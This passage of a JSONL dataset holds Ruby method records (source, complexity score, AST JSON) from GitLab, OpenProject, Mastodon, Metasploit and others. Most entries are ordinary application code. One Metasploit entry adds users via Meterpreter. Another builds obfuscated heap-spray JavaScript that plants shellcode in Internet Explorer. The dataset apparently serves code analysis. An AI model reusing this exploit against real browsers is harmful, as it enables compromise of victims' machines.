hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"short_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"title\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"recipients\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationRecipients\"]},\"BuildService\"]},\"build_recipients\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"push_to\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipients\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mailer\"]},\"send\",{\"type\":\"sym\",\"children\":[\"push_to_merge_request_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipient\"]},\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipient\"]},\"reason\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_commits\"]},{\"type\":\"lvar\",\"children\":[\"truncated_new_commits\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_new_commits_count\"]},{\"type\":\"lvar\",\"children\":[\"total_new_commits_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"existing_commits\"]},{\"type\":\"lvar\",\"children\":[\"existing_commits\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_existing_commits_count\"]},{\"type\":\"lvar\",\"children\":[\"total_existing_commits_count\"]}]}]}]},\"deliver_later\"]}]}]}]}","id":"8028715e-247f-499b-bee6-9b7b9ef10ef4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/generator/generator.rb","start_line":48,"raw_source":"def init_pdf(pdf)\n      @pdf = pdf\n      init_pdf_page_styles(pdf)\n      pdf_init_md2pdf_fonts(pdf)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"init_pdf\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pdf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pdf\",{\"type\":\"lvar\",\"children\":[\"pdf\"]}]},{\"type\":\"send\",\"children\":[null,\"init_pdf_page_styles\",{\"type\":\"lvar\",\"children\":[\"pdf\"]}]},{\"type\":\"send\",\"children\":[null,\"pdf_init_md2pdf_fonts\",{\"type\":\"lvar\",\"children\":[\"pdf\"]}]}]}]}","id":"4f285c22-c2f5-443d-805b-b09be4835d1b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/reader.rb","start_line":36,"raw_source":"def tree_by_key(key)\n        attributes_finder.find_root(key)\n      rescue StandardError => e\n        @shared.error(e)\n        false\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"tree_by_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes_finder\"]},\"find_root\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shared\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"82cd0af8-dfe8-4202-8b46-1ddf53b51aaf"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/about_page_site_activity.rb","start_line":66,"raw_source":"def has_no_activity_item?(name)\n        container.has_no_css?(\".about__activities-item.#{name}\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_activity_item?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"has_no_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".about__activities-item.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"e70ede7b-df13-4439-8dff-3df26542c4dc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_access.rb","start_line":191,"raw_source":"def check_for_console_messages\n      return console_messages unless key?\n\n      key_status = Gitlab::Auth::KeyStatusChecker.new(actor)\n\n      if key_status.show_console_message?\n        console_messages.push(key_status.console_message)\n      else\n        console_messages\n      end\n    end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_for_console_messages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"console_messages\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_status\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"KeyStatusChecker\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"actor\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_status\"]},\"show_console_message?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"console_messages\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_status\"]},\"console_message\"]}]},{\"type\":\"send\",\"children\":[null,\"console_messages\"]}]}]}]}","id":"e3b8f70c-6560-4c5f-b448-2051650f7a86"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/shared/with_direct_uploads.rb","start_line":136,"raw_source":"def stub_uploader\n    creds = config[:fog][:credentials]\n\n    without_partial_double_verification do\n      # rubocop:disable RSpec/AnyInstance\n      allow_any_instance_of(FogFileUploader).to receive(:fog_credentials).and_return creds\n\n      allow_any_instance_of(FogFileUploader).to receive(:aws_access_key_id).and_return creds[:aws_access_key_id]\n      allow_any_instance_of(FogFileUploader).to receive(:aws_secret_access_key).and_return creds[:aws_secret_access_key]\n      allow_any_instance_of(FogFileUploader).to receive(:provider).and_return creds[:provider]\n      allow_any_instance_of(FogFileUploader).to receive(:region).and_return creds[:region]\n      allow_any_instance_of(FogFileUploader).to receive(:directory).and_return config[:fog][:directory]\n\n      allow(OpenProject::Configuration).to receive(:direct_uploads?).and_return(true)\n      # rubocop:enable RSpec/AnyInstance\n    end\n  end","complexity_score":57.6,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_uploader\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"creds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fog\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"credentials\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"without_partial_double_verification\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_any_instance_of\",{\"type\":\"const\",\"children\":[null,\"FogFileUploader\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"fog_credentials\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"creds\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_any_instance_of\",{\"type\":\"const\",\"children\":[null,\"FogFileUploader\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"aws_access_key_id\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"aws_access_key_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_any_instance_of\",{\"type\":\"const\",\"children\":[null,\"FogFileUploader\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"aws_secret_access_key\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"aws_secret_access_key\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_any_instance_of\",{\"type\":\"const\",\"children\":[null,\"FogFileUploader\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"provider\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_any_instance_of\",{\"type\":\"const\",\"children\":[null,\"FogFileUploader\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"region\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"region\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_any_instance_of\",{\"type\":\"const\",\"children\":[null,\"FogFileUploader\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"directory\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fog\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"directory\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Configuration\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"direct_uploads?\"]}]},\"and_return\",{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"5625d7c0-3a78-4f34-a7cb-13e2a8a4f597"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/concerns/account_owned_concern.rb","start_line":24,"raw_source":"def account_id_param\n    params[:account_id]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"account_id_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"account_id\"]}]}]}","id":"5245fa47-ebc4-445c-9ad4-88806488b922"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/incognito/incognito.rb","start_line":57,"raw_source":"def incognito_add_user(host, username, password)\n    request = Packet.create_request(COMMAND_ID_INCOGNITO_ADD_USER)\n    request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)\n    request.add_tlv(TLV_TYPE_INCOGNITO_PASSWORD, password)\n    request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)\n    response = client.send_request(request)\n\n    response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"incognito_add_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_INCOGNITO_ADD_USER\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_INCOGNITO_USERNAME\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_INCOGNITO_PASSWORD\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_INCOGNITO_SERVERNAME\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_INCOGNITO_GENERIC_RESPONSE\"]}]}]}]}","id":"353b8fa9-691f-41ca-85d2-aac1ca0e3c09"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/snippet_authorizations.rb","start_line":8,"raw_source":"def authorize_read_snippet!\n    render_404 unless can?(current_user, :read_snippet, snippet)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_read_snippet!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_snippet\"]},{\"type\":\"send\",\"children\":[null,\"snippet\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"e952139c-a918-4d18-be07-ccc9828fe058"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/manageiq/reporting/formatter/timeline_message.rb","start_line":93,"raw_source":"def middleware_name\n          mw_id_cols = EmsEvent.column_names.select { |n| n.match('middleware_.+_id') }\n          mw_id_col  = mw_id_cols.find { |c| @event[c] }\n          unless mw_id_col.nil?\n            mw_type     = mw_id_col.slice(0, mw_id_col.rindex('_id'))\n            mw_name_col = mw_type + '_name'\n            \"<a href=/#{mw_type}/show/#{@event[mw_id_col]}>#{@event[mw_name_col]}</a>\"\n          end\n        end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"middleware_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mw_id_cols\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsEvent\"]},\"column_names\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"match\",{\"type\":\"str\",\"children\":[\"middleware_.+_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mw_id_col\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mw_id_cols\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mw_id_col\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mw_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mw_id_col\"]},\"slice\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mw_id_col\"]},\"rindex\",{\"type\":\"str\",\"children\":[\"_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mw_name_col\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mw_type\"]},\"+\",{\"type\":\"str\",\"children\":[\"_name\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<a href=/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mw_type\"]}]},{\"type\":\"str\",\"children\":[\"/show/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mw_id_col\"]}]}]},{\"type\":\"str\",\"children\":[\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mw_name_col\"]}]}]},{\"type\":\"str\",\"children\":[\"</a>\"]}]}]}]}]}]}","id":"6a872639-3be2-46f2-b8dc-9fb064c897bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/update_service.rb","start_line":23,"raw_source":"def execute(validate: true, check_password: false, &block)\n      return organization_users_error if organization_users_error\n\n      yield(@user) if block\n\n      user_exists = @user.persisted?\n      @user.user_detail # prevent assignment\n\n      discard_read_only_attributes\n      append_extension_marketplace_attributes\n      assign_attributes\n\n      if check_password && require_password_check? && !@user.valid_password?(@validation_password)\n        return error(s_(\"Profiles|Invalid password\"))\n      end\n\n      assign_identity\n      reset_unconfirmed_email\n\n      if @user.save(validate: validate) && update_status\n        after_update(user_exists)\n      else\n        messages = @user.errors.full_messages + Array(@user.status&.errors&.full_messages)\n        error(messages.uniq.join('. '))\n      end\n    end","complexity_score":44.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"validate\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"check_password\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization_users_error\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization_users_error\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"persisted?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"user_detail\"]},{\"type\":\"send\",\"children\":[null,\"discard_read_only_attributes\"]},{\"type\":\"send\",\"children\":[null,\"append_extension_marketplace_attributes\"]},{\"type\":\"send\",\"children\":[null,\"assign_attributes\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check_password\"]},{\"type\":\"send\",\"children\":[null,\"require_password_check?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"valid_password?\",{\"type\":\"ivar\",\"children\":[\"@validation_password\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Profiles|Invalid password\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"assign_identity\"]},{\"type\":\"send\",\"children\":[null,\"reset_unconfirmed_email\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"save\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"lvar\",\"children\":[\"validate\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_status\"]}]},{\"type\":\"send\",\"children\":[null,\"after_update\",{\"type\":\"lvar\",\"children\":[\"user_exists\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"errors\"]},\"full_messages\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"status\"]},\"errors\"]},\"full_messages\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"uniq\"]},\"join\",{\"type\":\"str\",\"children\":[\". \"]}]}]}]}]}]}]}","id":"eda3f02f-3e81-4744-9508-12d042611335"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/controllers/api/v1/sync_runs_controller.rb","start_line":10,"raw_source":"def index\n        sync_runs = @sync.sync_runs.order(updated_at: :desc)\n        authorize sync_runs\n        sync_runs = sync_runs.where(status: params[:status]) if params[:status].present?\n        sync_runs = sync_runs.page(params[:page] || 1).per(params[:per_page])\n        render json: sync_runs, status: :ok\n      end","complexity_score":25.58,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sync_runs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync\"]},\"sync_runs\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"lvar\",\"children\":[\"sync_runs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"sync_runs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_runs\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sync_runs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_runs\"]},\"page\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]},{\"type\":\"int\",\"children\":[1]}]}]},\"per\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"sync_runs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}]}]}","id":"c5757ca2-16d8-452b-ae0e-72c3af9f9dcb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb","start_line":114,"raw_source":"def ie_heap_spray(my_target, p)\n    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))\n    js_nops = Rex::Text.to_unescape(\"\\x0c\" * 4, Rex::Arch.endian(target.arch))\n    js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))\n    randnop = rand_text_alpha(rand(100) + 1)\n\n    # Land the payload at 0x0c0c0c0c\n    case my_target\n    when targets[6]\n      # IE 9 on Windows 7\n      js = %Q|\n      function randomblock(blocksize)\n      {\n        var theblock = \"\";\n        for (var i = 0; i < blocksize; i++)\n        {\n          theblock += Math.floor(Math.random()*90)+10;\n        }\n        return theblock;\n      }\n\n      function tounescape(block)\n      {\n        var blocklen = block.length;\n        var unescapestr = \"\";\n        for (var i = 0; i < blocklen-1; i=i+4)\n        {\n          unescapestr += \"%u\" + block.substring(i,i+4);\n        }\n        return unescapestr;\n      }\n\n      var heap_obj = new heapLib.ie(0x10000);\n      var code = unescape(\"#{js_code}\");\n      var #{randnop} = \"#{js_random_nops}\";\n      var nops = unescape(#{randnop});\n      while (nops.length < 0x80000) nops += nops;\n      var offset_length = #{my_target['Offset']};\n      for (var i=0; i < 0x1000; i++) {\n        var padding = unescape(tounescape(randomblock(0x1000)));\n        while (padding.length < 0x1000) padding+= padding;\n        var junk_offset = padding.substring(0, offset_length);\n        var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);\n        while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;\n        sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);\n        heap_obj.alloc(sprayblock);\n      }\n      |\n\n    else\n      # For IE 6, 7, 8\n      js = %Q|\n      var heap_obj = new heapLib.ie(0x20000);\n      var code = unescape(\"#{js_code}\");\n      var #{randnop} = \"#{js_nops}\";\n      var nops = unescape(#{randnop});\n      while (nops.length < 0x80000) nops += nops;\n      var offset = nops.substring(0, #{my_target['Offset']});\n      var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);\n      while (shellcode.length < 0x40000) shellcode += shellcode;\n      var block = shellcode.substring(0, (0x80000-6)/2);\n      heap_obj.gc();\n      for (var i=1; i < 0x300; i++) {\n        heap_obj.alloc(block);\n      }\n      |\n\n    end\n\n    js = heaplib(js, { :noobfu => true })\n\n    if datastore['OBFUSCATE']\n      js = ::Rex::Exploitation::JSObfu.new(js)\n      js.obfuscate(memory_sensitive: true)\n    end\n\n    return js\n  end","complexity_score":43.9,"ast_json":"{\"type\":\"def\",\"children\":[\"ie_heap_spray\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"my_target\"]},{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"js_code\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js_nops\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\f\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"